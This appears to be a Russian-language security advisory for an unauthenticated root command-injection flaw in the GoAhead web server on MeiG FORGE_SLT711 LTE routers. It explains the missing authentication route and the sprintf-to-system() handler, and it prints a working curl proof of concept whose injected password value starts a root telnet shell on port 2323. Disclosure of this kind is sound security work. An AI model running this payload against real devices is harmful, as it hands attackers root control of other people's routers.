
CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead - Внедрение команд ОС без аутентификации (RCE с правами root)
/action/SetRemoteAccessCfg)Веб-сервер GoAhead, поставляемый с 4G LTE CPE-устройствами MeiG Smart FORGE_SLT711, предоставляет неаутентифицированную HTTP-конечную точку /action/SetRemoteAccessCfg, которая подставляет управляемые пользователем JSON-данные в shell-команду без санитизации. Один неаутентифицированный POST-запрос выполняет произвольные команды с правами root.
Две независимые первопричины: отсутствующая запись маршрута аутентификации и небезопасная конструкция sprintf() → system() в обработчике.
MDM9607.LE.1.0-00110-STD.PROD-1 (прошивка модема BC-MGST711H_1.1.1_EQ101)/usr/bin/goahead)Уязвимый код находится в пользовательском обработчике действий MeiG, а не в апстрим-версии GoAhead. Другие версии прошивки данной линейки продуктов, вероятно, также затронуты; независимо не проверялось.
| Устройство | Ortel 4G LTE CPE (OEM: MeiG FORGE_SLT711) |
| SoC | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| Ядро | Linux 3.18.48 |
| Прошивка | MDM9607.LE.1.0-00110-STD.PROD-1 |
| Дата |
Конфигурация маршрутов GoAhead /var/www/route.txt содержит аутентифицированные маршруты (строки 64–150) с использованием auth=basic. /action/SetRemoteAccessCfg отсутствует в этом списке. Маршрутизация переходит к маршруту по умолчанию на строке 156:
route uri=/action handler=action
Маршрут по умолчанию не имеет auth=basic, поэтому любой HTTP-клиент может вызвать /action/SetRemoteAccessCfg без учётных данных.
Обработчик по смещению 0x0003c6d8 в /usr/bin/goahead декомпилируется в:
char password_buf[64]; // 0x40 bytes on stack
char command_buf[256]; // 0x100 bytes on stack
websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
system(command_buf);
Поле password подставляется внутри двойных кавычек. Подстановка $(...) и обратные кавычки `...` раскрываются внутри двойных кавычек, поэтому атакующий контролирует shell-команду. system() выполняется с uid=0, поскольку процесс GoAhead работает с правами root. Никакой проверки ввода, экранирования или списка разрешённых символов нет.
curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
-H "Content-Type: application/json" \
-d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}'
# Reachable via: telnet 192.168.1.1 2323 (root shell, no password)

poc_rce.py (опубликован вместе с данным отчётом):
python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out'
Эксплуатация «слепая» — вывод команды не возвращается в HTTP-ответе.
password: 64 байта| 2026-02-21 |